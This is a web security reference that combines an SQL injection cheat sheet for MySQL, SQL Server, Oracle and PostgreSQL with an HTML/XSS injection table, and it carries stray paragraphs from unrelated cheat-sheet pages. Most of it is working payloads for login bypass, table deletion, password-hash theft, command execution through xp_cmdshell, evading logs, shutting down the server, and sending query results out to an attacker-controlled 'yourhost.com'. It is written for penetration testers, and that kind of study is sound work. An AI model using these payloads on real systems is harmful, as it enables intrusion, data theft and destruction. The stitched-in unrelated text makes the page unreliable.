An SQL injection cheat sheet is a resource in which you can find detailed technical information about the many different variants of the SQL Injection vulnerability. This cheat sheet is of good reference to both seasoned penetration tester and also those who are just getting started in web application security.
This SQL injection cheat sheet was originally published in 2007 by Ferruh Mavituna on his blog. We have updated it and moved it over from our CEO's blog. Currently this SQL Cheat Sheet only contains information for MySQL, Microsoft SQL Server, and some limited information for ORACLE and PostgreSQL SQL servers. Some of the samples in this sheet might not work in every situation because real live environments may vary depending on the usage of parenthesis, different code bases and unexpected, strange and complex SQL sentences.
Samples are provided to allow you to get basic idea of a potential attack and almost every section includes a brief information about itself.
An SQL injection cheat sheet is a resource in which you can find detailed technical information about the many different variants of the SQL Injection vulnerability. This cheat sheet is of good reference to both seasoned penetration tester and also those who are just getting started in web application security. About the SQL Injection Cheat. This page provides an overall cheat sheet of all the capabilities of RegExp syntax by aggregating the content of the articles in the RegExp guide. If you need more information on a specific topic, please follow the link on the corresponding heading to access the full article or head to the guide. Online Interactive JavaScript (JS) Cheat Sheet. JavaScript Cheat Seet contains useful code examples on a single page. This is not just a PDF page, it's interactive! Find code for JS loops, variables, objects, data types, strings, events and many other categories. Popy-paste the code you need or just quickly check the JS syntax for your projects. Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Google Chrome - Clear Cache for Specific Website Ctrl Shift + F5/R #it is Hard Reload but doesn't empty cache. #To do that F12 or Ctrl+Shift+I #Open Dev Tools by pressing (or on Mac: Opt+Cmd+I) Now by just leaving dev tools open, right-click or click and hold the reload button next to the address bar.
M : | MySQL |
S : | SQL Server |
P : | PostgreSQL |
O : | Oracle |
+ : | Possibly all other databases |
Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don't have to deal with fixing the syntax.
--
(SM)
DROP sampletable;--
#
(M)
DROP sampletable;#
admin'--
SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
This is going to log you as admin user, because rest of the SQL query will be ignored.Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.
/*Comment Here*/
(SM) DROP/*comment*/sampletable
DR/**/OP/*bypass blacklisting*/sampletable
SELECT/*avoid-spaces*/password/**/FROM/**/Members
/*! MYSQL Special SQL *
/ (M) SELECT /*!32302 1/0, */ 1 FROM tablename
10; DROP TABLE members /*
10; DROP TABLE members --
SELECT /*!32302 1/0, */ 1 FROM tablename
/*!
32302 10*/
10
SELECT /*!32302 1/0, */ 1 FROM tablename
Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.
;
(S) SELECT * FROM members; DROP members--
Ends a query and starts a new one.
green: supported, dark gray: not supported, light gray: unknown
About MySQL and PHP;
To clarify some issues;
PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it's not possible to execute a second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?
10;DROP members --
SELECT * FROM products WHERE id = 10; DROP members--
This will run DROP members SQL sentence after normal SQL Query.
Get response based on an if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.
IF(condition,true-part,false-part)
(M)
SELECT IF(1=1,'true','false')
IF conditiontrue-part ELSE false-part
(S) IF (1=1) SELECT 'true' ELSE SELECT 'false'
BEGIN
IF condition THEN true-part; ELSE false-part; END IF; END;
(O) IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
SELECT CASE WHEN condition THEN true-part ELSE false-part
END; (P) SELECT CASE WEHEN (1=1) THEN 'A' ELSE 'B'END;
if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0
(S)
This will throw an divide by zero error if current logged user is not 'sa' or 'dbo'.
Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.
0xHEXNUMBER
(SM) SELECT CHAR(0x66)
(S) SELECT 0x5045
(this is not an integer it will be a string from Hex) (M) SELECT 0x50 + 0x45
(this is integer now!) (M)String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.
+
(S) SELECT login + '-' + password FROM members
||
(*MO) SELECT login || '-' || password FROM members
*About MySQL '||';
If MySQL is running in ANSI mode it's going to work but otherwise MySQL accept it as `logical operator` it'll return 0. A better way to do it is using CONCAT()
function in MySQL.
CONCAT(str1, str2, str3, ...)
(M) SELECT CONCAT(login, password) FROM members
These are some direct ways to using strings but it's always possible to use CHAR()
(MS) and CONCAT()
(M) to generate string without quotes.
0x457578
(M) - Hex Representation of string SELECT 0x457578
SELECT CONCAT('0x',HEX('c:boot.ini'))
CONCAT()
in MySQL SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))
(M) SELECT CHAR(75)+CHAR(76)+CHAR(77)
(S) SELECT CHR(75)||CHR(76)||CHR(77)
(O) SELECT (CHaR(75)||CHaR(76)||CHaR(77))
(P) SELECT LOAD_FILE(0x633A5C626F6F742E696E69)
(M) ASCII()
(SMP) SELECT ASCII('a')
CHAR()
(SM) SELECT CHAR(64)
With union you do SQL queries cross-table. Basically you can poison query to return records from another table.
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.
Another Example: ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.
field
COLLATE
SQL_Latin1_General_Cp1254_CS_AS
or some other valid one - check out SQL Server documentation. SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
Hex()
for every possible issueSQL Injection 101, Login tricks
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
*Old versions of MySQL doesn't support union queries
If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.
Username :admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Password : 1234
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
In the same order,
HAVING 1=1 --
' GROUP BY table.columnfromerror1 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 --
and so onFinding column number by ORDER BY can speed up the UNION SQL Injection process.
ORDER BY 1--
ORDER BY 2--
ORDER BY N--
so on' union select sum(columntofind) from users--
(S) Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 –-
11223344) UNION SELECT 1,'2',3,NULL WHERE 1=2 –-
Microsoft OLE DB Provider for SQL Server error '80040e07'
Explicit conversion from data type int to image is not allowed.
You'll get convert() errors before union target errors ! So start with convert() then union
'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*
@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also, you can use insert, update statements or in functions.
INSERT INTO members(id, user, pass) VALUES(1, '+SUBSTRING(@@version,1,10) ,10)
Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file(%systemroot%system32inetsrvMetaBase.xml) and then search in it to identify application path.
Write text file. Login Credentials are required to use this function. bcp 'SELECT * FROM test..foo' queryout c:inetpubwwwrootruncommand.asp -c -Slocalhost -Usa -Pfoobar
You can use VBS, WSH scripting in SQL Server because of ActiveX support.
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe' Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --
Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
Simple ping check (configure your firewall or sniffer to identify request before launch it),
EXEC master.dbo.xp_cmdshell 'ping '
You can not read results directly from error or union or something else.
master..sysmessages
master..sysservers
masters..sysxlogins
sys.sql_logins
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx
You can not use sub selects in SQL Server Insert queries.
SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;
If injection is in second limit you can comment it out or use in your union injection
When you're really pissed off, ';shutdown --
By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
SELECT name FROM sysobjects WHERE xtype = 'U'
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')
NOT IN
or NOT EXIST
, ... WHERE users NOT IN ('First User', 'Second User')
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)
-- very good oneSELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int
Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21
';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
Detailed Article: Fast way to extract data from Error Based SQL Injections
SELECT table_name FROM information_schema.tables WHERE table_schema = 'databasename'
SELECT table_name, column_name FROM information_schema.columns WHERE table_name = 'tablename'
SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
SELECT * FROM all_col_comments WHERE TABLE_NAME = 'TABLE'
In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.
Normal Blind, You can not see a response in the page, but you can still determine result of a query from response or HTTP status code
Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common, though.
In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAITFOR DELAY '0:0:10' in SQL Server, BENCHMARK() and sleep(10) in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.
This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.
TRUE and FALSE flags mark queries returned true or false.
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
Since both of the last 2 queries failed we clearly know table name's first char's ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well-known way is reading data bit by bit. Both can be effective in different conditions.
First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.
This is just like sleep, wait for specified time. CPU safe way to make database wait.
WAITFOR DELAY '0:0:10'--
Also, you can use fractions like this,
WAITFOR DELAY '0:0:0.51'
if (select user) = 'sa' waitfor delay '0:0:10'
1;waitfor delay '0:0:10'--
1);waitfor delay '0:0:10'--
1';waitfor delay '0:0:10'--
1');waitfor delay '0:0:10'--
1));waitfor delay '0:0:10'--
1'));waitfor delay '0:0:10'--
Basically, we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!
BENCHMARK(howmanytimes, do this)
IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
Sleep for supplied seconds.
SELECT pg_sleep(10);
Sleep for supplied seconds.
SELECT sleep(10);
Sleep for supplied seconds.
(SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual)
{INJECTION} = You want to run the query.
If the condition is true, will response after 10 seconds. If is false, will be delayed for one second.
SQL Server don't log queries that includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible)
These tests are simply good for blind sql injection and silent attacks.
product.asp?id=4 (SMO)
product.asp?id=5-1
product.asp?id=4 OR 1=1
product.asp?name=Book
product.asp?name=Bo'%2b'ok
product.asp?name=Bo' || 'ok (OM)
product.asp?name=Book' OR 'x'='x
SELECT User,Password FROM mysql.user;
SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 'root';
SEL
ECT ... INTO DUMPFILE
Write quer
y into a new file (can not modify existing files)
create function LockWorkStation returns integer soname 'user32';
select LockWorkStation();
create function ExitProcess returns integer soname 'kernel32';
select exitprocess();
SELECT USER();
SELECT password,USER() FROM mysql.user;
SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
create table foo( line blob );
load data infile 'c:/boot.ini' into table foo;
select * from foo;
select benchmark( 500000, sha1( 'test' ) );
query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
Enumeration data, Guessed Brute Forceselect if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );
MD5()
SHA1()
PASSWORD()
ENCODE()
COMPRESS()
ROW_COUNT()
SCHEMA()
VERSION()
@@version
Basically, you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem.
Name : ' + (SELECT TOP 1 password FROM users ) + '
Email : xx@xx.com
If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.
This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.
bulk insert foo from 'YOURIPADDRESSC$x.txt'
Check out Bulk Insert Reference to understand how can you use bulk insert.
?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat(',({INJECTION}), 'yourhost.com')))
Makes a NBNS query request/DNS resolution request to yourhost.com
?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE 'yourhost.comshareoutput.txt')
Writes data to your shared folder/file
{INJECTION} = You want to run the query.
?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ sniff.php?sniff='||({INJECTION})||') FROM DUAL)
Sniffer application will save results
?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ '||({INJECTION})||'.html') FROM DUAL)
Results will be saved in HTTP access logs
?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||'.yourhost.com') FROM DUAL)
You need to sniff dns resolution requests to yourhost.com
?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||'.yourhost.com',80) FROM DUAL)
You need to sniff dns resolution requests to yourhost.com
{INJECTION} = You want to run the query.
Classification | ID / Severity |
---|---|
PCI v3.1 | 6.5.1 |
PCI v3.2 | 6.5.1 |
OWASP 2013 | A1 |
CWE | 89 |
CAPEC | 66 |
WASC | 19 |
HIPAA | 164.306(a), 164.308(a) |
CVSS 3.0 Score | |
Base | 10 (Critical) |
Temporal | 10 (Critical) |
Environmental | 10 (Critical) |
CVSS Vector String | |
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
The Book takes care to explain the elevation of Cross-Site Scripting (XSS) to the title of HTML Injection. This quick reference describes some of the common techniques used to inject a payload into a web application.
In the examples below the biohazard symbol (U+2623), ☣, represents an executable JavaScript payload. It could be anything from a while loop to lock the browser, e.g. while(1){a=1;}
, or something more useful that a creative attacker comes up with. You can quite easily find “XSS Cheat Sheets” elsewhere. The intent of this reference is to instill a sense of methodology into finding HTML injection vulnerabilities. Good exploits take advantage of HTML syntax and browser quirks in creative ways. Take the time to experiment with simple payloads and observe how (and where) the web application reflects them. Then turn towards the list of complex attacks on a cheat sheet.
Also notice how the syntax of elements and JavaScript have been preserved in cases where single- or double-quotes are used to prefix a payload. The injected quote prematurely ends a quoted string, which means there will be a dangling quote at the end. Whether the reflection point is in an intrinsic event or a JavaScript block, the dangling quote is trivially consumed by throwing an extra variable definition with an open quote:
;a='
The dangling quote will close the delimiter and, in most cases, the syntax will be preserved. This type of closure isn’t really necessary for an exploit to work, but it’s a sign craftier exploits.
The table’s layout is a bit constrained by the format of this post. Keep an eye on it for updates to content as well as presentation.
table { border-collapse: collapse; border: solid }thead { border: solid medium; text-align: center; }td { border: solid thin; text-align: center; padding: 2px; }.leftText { text-align: left }
Technique | Characters | Payload Example | Injection Example |
---|---|---|---|
Close a start tag in order to insert a new element (This usually happens within an element attribute, but keep in mind HTML comments and XML CDATA.) | > /> –> ]]> | ><script>☣<script> | <input type=text name=id value= ><script>☣<script> > |
Insert an end tag in order to insert a new element (Also useful where XML appears, such as RSS feeds.) | </element> ]]> | ]]><script>☣<script> | <INFO><![CDATA[ ]]><script>☣</script> |
Close a quoted attribute in order to insert an intrinsic event | ” (ASCII 0x22) ‘ (ASCII 0x27) | “onEvent=☣;a=” | <a href=”/redir?url=http://” onClick=☣;a=”“> |
Break out of a JavaScript variable | ” (ASCII 0x22) ‘ (ASCII 0x27) | “;{☣}var foo=” | <script> var host = window.location; var lastLink = “http://web.site/index?refurl=“;{☣}var foo=”“; … <script> |
Split payload across multiple reflection points (Also a good way to bypass filters. Use HTML comment delimiters to elide content between the two payloads. In some cases you might be able to use quoted strings to elide content.) | (as above) | 1: “<script<!– 2: –>>☣</script> | <input value=”“<script<!– “>other content <input value=” –>>☣</script>“ |
Alter MIME interpretation of uploaded file (Usually when content is expected to be served as text/plain, binary, or other non-HTML type) | Must be able to influence Content-Type header or browser’s MIME sniffing algorithm | text/html application/x-javascript | Uploaded file contains JavaScript. Image EXIF data contains HTML & JavaScript. |
Bypass a filter using browser quirk | Alternate whitespace character Non-standard element or attribute | – | See http://x86.cx/html5/ for an example of a complex src attribute for an img element. |
Bypass a filter using alternate or invalid character encoding (The goal is to find a sequence that disrupts or confuses a parser enough that a character such as ASCII 0x22 is considered part of a multibyte sequence, but is served to the browser as a single-byte character. This would either occur because a server-side filter incorrectly stripped or rewrote the invalid sequence or the browser’s character parser misinterpreted the sequence.) | UTF-7 UTF-8 Unicode | – | %fe%22 %fd%22 %cd%22 %c1%22 %c0%a2 %80%22 %22 |
JavaScript execution in CSS and style definitions [Obsolete for modern browsers due to security concerns] | – | – | IE Expressions Mozilla -moz-binding |